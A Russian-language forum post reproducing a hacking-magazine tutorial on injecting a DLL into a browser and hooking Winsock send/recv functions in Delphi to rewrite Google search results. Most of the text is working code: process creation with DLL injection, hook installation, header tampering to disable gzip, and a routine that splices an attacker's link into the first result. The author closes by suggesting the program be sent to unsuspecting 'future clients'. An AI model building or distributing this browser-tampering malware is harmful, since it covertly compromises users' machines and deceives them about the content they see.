Ты №1 - Продвижение своего сайта на верхушку поисковика

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
386
Points
83
Поисковые системы - основное средство продвижения сайтов к пику славы и максимальной посещаемости. Если ресурс стоит на первом месте, то наверняка это очень популярный и раскрученный портал. Сегодня мне захотелось попасть на первое место. Захотелось и все тут. Что делать? Ломать гугл, пользоваться системами раскрутки? Конечно, нет, ведь мы с вами призваны решать проблемы нестандартным путем. Итак, пришло время узнать, как сделать так, чтобы при любом поисковом запросе в первой строке результатов красовался твой сайт.

Теория и основы

Наверное, я тебя заинтриговал? Ничего сверхъестественного мы делать не будем. Конечно, можно попрыгать около компьютера с бубном, но вряд ли это что-то даст :). На самом деле, поместить свой ресурс на первое место в поисковике не очень сложно, в этом нам поможет технология с красивым названием «сплайсинг». Она заключается в перехвате API функций и модификации данных, которые через них передаются на сервер или с сервера принимаются. Ни для кого не секрет, что любое приложение общается с внешним миром с помощью сокетных функций (не берем в расчет исключительные случаи), а конкретнее - данные передаются с помощью функций send и WSASend, а принимаются с помощью recv и WSARecv. Почему я здесь не рассматриваю исключения или аналоги? Потому что все известные браузеры для передачи и приема данных в/из сети используют именно эти 4 функции. Они находятся в библиотеке ws2_32.dll. Есть и одноименные названия в библиотеке winsocket.dll, но они в итоге приходят к своим «родителям» из ws2_32.dll, так что, перехватив функции из этой библиотеки, мы ничего не упустим.

Суть перехвата заключается в том, что вначале перехватываемой API функции делается прыжок на наш код. Очевидно, что, когда прыжком с начала перехватываемой функции передается управление в нашу функцию, в стеке лежат все параметры, которые были переданы оригинальной функции. То есть мы можем поправить эти параметры в соответствии с нашей задачей и продолжить выполнение программы дальше.

В бой!
В выборе языка я руководствовался широтой аудитории. Я, конечно, мог выбрать ассемблер и отсечь этим 90% читателей, которые бы, посмотрев на набор мнемокодов, сказали: «Да, это круто, когда-нибудь и я так научусь». Но я хочу донести все и внести ясность, и поэтому выбрал Delphi. Также в самом перехвате я буду использовать библиотеку Advanced API Hook Libary. Во-первых, реализовать лучше нужные приемы у нас вряд ли получится, а во-вторых, это всего лишь статья, и если я буду «засорять» текст довольно громоздкими процедурами перехвата, то мне не хватит места для всего остального.

Чтобы осуществить перехват, мы будем использовать внедрение своей DLL в адресное пространство другого процесса (в нашем случае это браузер). С помощью библиотеки advApiHook это делается очень просто:

Code:
CreateProcessWithDll(nil,pChar(path_of_browser), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, si, pi, pChar(extractfilepath(paramstr(0)) + '\main.dll'));

Это, как ты понимаешь, создает процесс, который в своем адресном пространстве будет содержать библиотеку main.dll. Чтобы внедрить DLL в уже запущенный процесс нужно использовать функцию InjectDll. Она предельно проста, разобраться с ней большого труда не составит, но здесь, в экспериментальном режиме, я буду использовать создание процесса с внедрением DLL.

Создадим пустую DLL - этакий шаблон, от которого мы будем отталкиваться. Именно эта DLL будет устанавливать перехват на функции и содержать в себе код, который будет выполняться вместо оригинального при перехвате:

Фрагмент кода главной DLL'ки:
Code:
procedure DLLEntryPoint(dwReason: DWord);

begin

case dwReason of

DLL_PROCESS_ATTACH: begin

//Код, который будет выполнен, когда DLL подгрузится к процессу

end;

DLL_PROCESS_DETACH: begin

// Соответственно, код, выполняющийся в процессе осуществления выгрузки DLL из адресного пространства процесса

end;

end;

end;

begin

DllProc := @DLLEntryPoint;

DLLEntryPoint(DLL_PROCESS_ATTACH);

end.

Логично, что при получении процедурой DLLEntryPoint сообщения DLL_PROCESS_ATTACH нам нужно установить перехват на функции.

Code:
HookProc('ws2_32.dll', 'recv', @Nrecv, @Trecv);

HookProc('ws2_32.dll', 'send', @Nsend, @Tsend);

HookProc('ws2_32.dll', 'WSARecv', @NWSARecv, @TWSARecv);

HookProc('ws2_32.dll', 'WSASend', @NWSASend, @TWSASend);

Описание параметров дано в комментариях к библиотеке advApiHook, его я и приведу:

Установка перехвата функции из Dll в текущем процессе.

lpModuleName - имя модуля;
lpProcName - имя функции;
NewProc - адрес функции замены;
OldProc - здесь будет сохранен адрес моста к старой функции.
В случае отсутствия модуля в текущем АП, будет сделана попытка его загрузить.

Параметр OldProc должен содержать указатель на адрес моста, фактически он определяется в var как прототип перехватываемого кода. Соответственно, для четырех перехватываемых функций эти прототипы будут выглядеть так:

Code:
var

i, flag, ThID: dword;

len, a, b, bt: dword;

link: pChar;

szString: PChar = '<a class=l href="http://www.xakep.ru/">Xakep Online -> Home</a><table cellpadding=0 cellspacing=0 border=0><tr><td class=j><font size=-1>Magazine of computer hooligans<br><font color=#008000>www.xakep.ru/</font>';

Tsend: function (s: TSocket;

Buf: pChar;

len, flags:

Integer): Integer; stdcall;

Trecv: function (s: TSocket;

Buf: pChar;

len, flags:

Integer): Integer; stdcall;

TWSARecv: function ( s : TSocket;

lpBuffers : LPWSABUF;

dwBufferCount : DWORD;

var lpNumberOfBytesRecvd : DWORD;

var lpFlags : DWORD;

lpOverlapped : LPWSAOVERLAPPED;

lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;

TWSASend: function ( s : TSocket;

lpBuffers : LPWSABUF;

dwBufferCount : DWORD;

var lpNumberOfBytesSent : DWORD;

dwFlags : DWORD;

lpOverlapped : LPWSAOVERLAPPED;

lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;

Описание прототипов можно взять в заголовочных файлах Delphi. Я думаю, тебе не совсем понятно, что собой представляет параметр NewProc, но, на самом деле, все просто. Это не что иное, как указатель на функции, которые имеют прототипы, аналогичные оригинальным или такие же, как и у функций с префиксом «T». Именно этим функциям будет передано управление вместо оригинальных, в них мы должны будем вызвать оригинальный код, то есть выполнить простой перехват без всяких вмешательств.

Пишем код функции TRecv:
Code:
function Nrecv(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;

begin

Trecv(s, buf, len, flags);

asm

pushad

end;

asm

popad

end;

end;

рushad и popad используются для того, чтобы не было проблем. Для незнающих отмечу, что эти команды процессора кладут в стек и восстанавливают оттуда значения всех основных регистров. Поэтому лучше, чтобы все регистры до и после вызова оригинальных функций содержали первоначальные значения. Любые модификации переданных параметров нужно производить в пределах двух ассемблерных вставок.

Грубо говоря, мы установили перехват. Теперь, когда в программе встретился вызов одной из этих четырех функций, мы попадаем в функцию с префиксом «N». Как видно, она принимает те же параметры, что и перехватываемая. В пределах двух ассемблерных вставок мы делаем с этими параметрами все, что душе угодно, а далее вызываем оригинальную функцию (здесь это вызов функций с префиксом «T»).

Далее, чтобы не повторять много раз один и тот же код, стоит сделать следующую оговорку. Когда я буду говорить: «В функцию перехвата send впишем код...», это будет значить, что между строками «end;» и «asm» в функции Nsend нужно вписать какой-либо код.

Теперь давай исследовать запросы и ответы гугла при поиске. При перехвате функций отправки данных (send, WSASend) в полях заголовка среди прочих полей существует поле «Accept-Encoding:deflate, gzip, x-gzip, identity, *;q=0», а это значит, что данные от сервера будут приниматься в сжатом виде и мы не сможем их пропарсить. Как от этого избавиться? Все довольно просто - вместо «gzip» в полях заголовка нужно вписать «none», таким образом, при ответе сервера на запрос данные будут приходить в девственно чистом виде. В функции перехвата send пишем следующий код:

Code:
if (pos('Host: www.google.ru', Buf) > 0) or (pos('Host: google.ru', Buf) > 0) then ReplaceGZIP(Buf, len);

А в функции перехвата WSASend - такой код:

Code:
if (pos('Host: www.google.ru', lpBuffers.buf) > 0) or (pos('Host: google.ru', lpBuffers.buf) > 0) then ReplaceGZIP(lpBuffers.buf, lpBuffers.len);
Чтобы отсечь запросы к другим сайтам (ведь нам их обрабатывать вовсе не нужно), я ввожу проверку наличия строк «Host: www.google.ru» и «Host: google.ru». Функция ReplaceGZIP - это самописная функция, которая ищет строку «gzip» и заменяет ее строчкой «none»:

Code:
function ReplaceGZIP(lpData: pointer; szData: dword): boolean;

begin

for i:=szData downto 0 do

begin

if dword(lpData^) = $70697A67 then dword(lpData^) := $656E6F6E;

inc(dword(lpData));

end;

end;

Вот теперь ответ сервера мы можем спокойно парсить, как любые данные html-формата.

Сделай в поисковике запрос по слову «журнал» и открой html-код страницы. Приглядевшись, ты сможешь четко увидеть структуру отображения результатов поиска, которые условно можно разбить на блоки, например самый первый блок будет следующим:

Code:
<a class=l href="http://www.passion.ru/">Женские страсти - женский <b>журнал</b></a><table cellpadding=0 cellspacing=0 border=0><tr><td class=j><font size=-1>Рукоделие, гороскоп, конкурсы, обратная связь и многое другое.<br><font color=#008000>www.passion.ru/ - 37k - 28 сен 2006 - </font>

Чтобы подставить вместо этого сайта наш собственный, мы должны найти позицию первой строки «<a class=l href=» в ответе сервера, далее, начиная с этой позиции, найти позицию строки «</font>», прибавить к этой позиции длину этого тега, то есть «6», и весь текст, который находится между этими двумя позициями, заменить нашим. В качестве примера я подставлю на первое место сайт журнала «Хакер», и тогда строка, которой мы будем заменять, приобретает следующий вид:

Code:
<a class=l href="http://www.xakep.ru/">Xakep Online -> Home</a><table cellpadding=0 cellspacing=0 border=0><tr><td class=j><font size=-1>Magazine of computer hooligans<br><font color=#008000>www.xakep.ru/</font>

Теперь в функцию перехвата recv пишем такой код:

if pos('google', pChar(@Buf)) > 0 then ReplaceResult(pChar(@buf), len);

А в функцию перехвата WSARecv - такой:

if pos('google', lpBuffers.buf) > 0 then ReplaceResult(lpBuffers.buf, lpBuffers.len);

Как ты уже догадался, вся работа по замене результатов поиска будет происходить в функции ReplaceResult, которая принимает два параметра: указатель на данные (в нашем случае это указатель на данные, которые прислал сервер) и длину этих данных. Я приведу полный листинг функции ReplaceResult, а после прокомментирую каждую строку:

Code:
function ReplaceResult(lpData: pChar; szData: dword): boolean;

begin

if flag = 1 then exit;

a := pos('<a class=l href=', lpData);

if a=0 then exit;

len:=0;

dec(a);

flag:=1;

GetMem(link, szData);

MoveMemory(link, lpData, a);

MoveMemory(pointer(dword(link)+a), szString, length(szString));

len:=a+length(szString);

b:=szData-InStr(a, lpData, '</font>');

MoveMemory(pointer(dword(link)+len),pointer(dword(lpData)+InStr(a, lpData, '</font>')+6), b);

MoveMemory(lpData, link, szData);

ThID:=CreateThread(nil,128*1024,@ThreadProc,nil,0,ThID);

CloseHandle(ThID);

end;

Мы вводим переменную flag, которая будет устанавливаться в случае, если эта страница - действительно ответ от гугла на поисковую фразу. Переменная flag будет обнуляться каждые 6 секунд. Если в течение шести секунд человек сделает 2 или более поисковых запроса, то во второй и последующие разы наша функция ReplaceResult просто завершится в самом начале. Сделано это для того, чтобы избежать некоторых проблем. Этот интервал можно уменьшить, но тогда мы рискуем уронить браузер.
В данных, которые пришли от сервера, ищем строку «<a class=l href=». Если таковой нет, то делаем вывод, что эти данные не являются ответом на поисковый запрос, и выходим.

В выделенный участок памяти копируем все данные до позиции a.
Code:
MoveMemory(link, lpData, a);

Начиная с позиции a, в выделенный участок памяти записываем строку szString. Ее значение можешь посмотреть выше, она объявлена в секции var.
Code:
MoveMemory(pointer(dword(link)+a), szString, length(szString));

Первая строка, я думаю, всем понятна, а вот во второй непонятным является вызов функции InStr. Это самописная функция, ее реализацию ты можешь посмотреть в исходниках на нашем DVD. Она аналогична стандартной процедуре pos, но первым параметром принимает позицию, с которой будет начинать поиск субстроки «</font>» в строке lpData.
Сложно объяснить, что будет делать следующая строка, ниже я приведу схему работы, на ней будет виден этот момент.
Code:
MoveMemory(pointer(dword(link)+len),pointer(dword(lpData)+InStr(a, lpData, '</font>')+6), b);

Результат наших действий записываем по адресу lpData, то есть по адресу, где хранятся данные, принятые от сервера. Именно с этого адреса браузер начнет их парсинг и отображение.
Code:
MoveMemory(lpData, link, szData);

Помнишь, я говорил, что каждые 6 секунд переменная flag будет обнуляться? Так вот это будет происходить в функции ThreadProc, её код приведен ниже.
Code:
ThID:=CreateThread(nil,128*1024,@ThreadProc,nil,0,ThID);

CloseHandle(ThID);

Я думаю, тебе будет легче, если я схематично изображу работу, которую производит код с третьего по шестой пункты включительно.

В добрый путь!

Хотелось бы отметить, что подобную технологию можно задействовать в любом другом поисковике и, в принципе, в любом месте, где нужно заменить контент сайта, отличие будет лишь в процедуре парсинга результатов. Теперь все карты в твоих руках – можешь смело засылать программку будущим клиентам и ждать отдачи от твоего «суперраскрученного» ресурса.

WWW

На сайте http://wasm.ru ты сможешь найти много полезных статей по перехвату API, в частности это замечательные статьи автора MsRem. Если хочешь в совершенстве овладеть этой технологией, обязательно прочти их.

www.google.ru является самой популярной и, на мой взгляд, лучшей поисковой системой. Use Google!

DANGER

Рассмотренная технология может быть использована для написания незаконного ПО, при этом автор статьи не несет никакой ответственности за твои действия. Материал дан в ознакомительных целях и не противоречит УК РФ.

INFO

Технологии перехвата АПИ применяются очень широко и помогают в решении самых нетривиальных и интересных задач.

Этот пример был протестирован на браузерах Opera 9.01 build 8552 и IE 6.0.
 
Top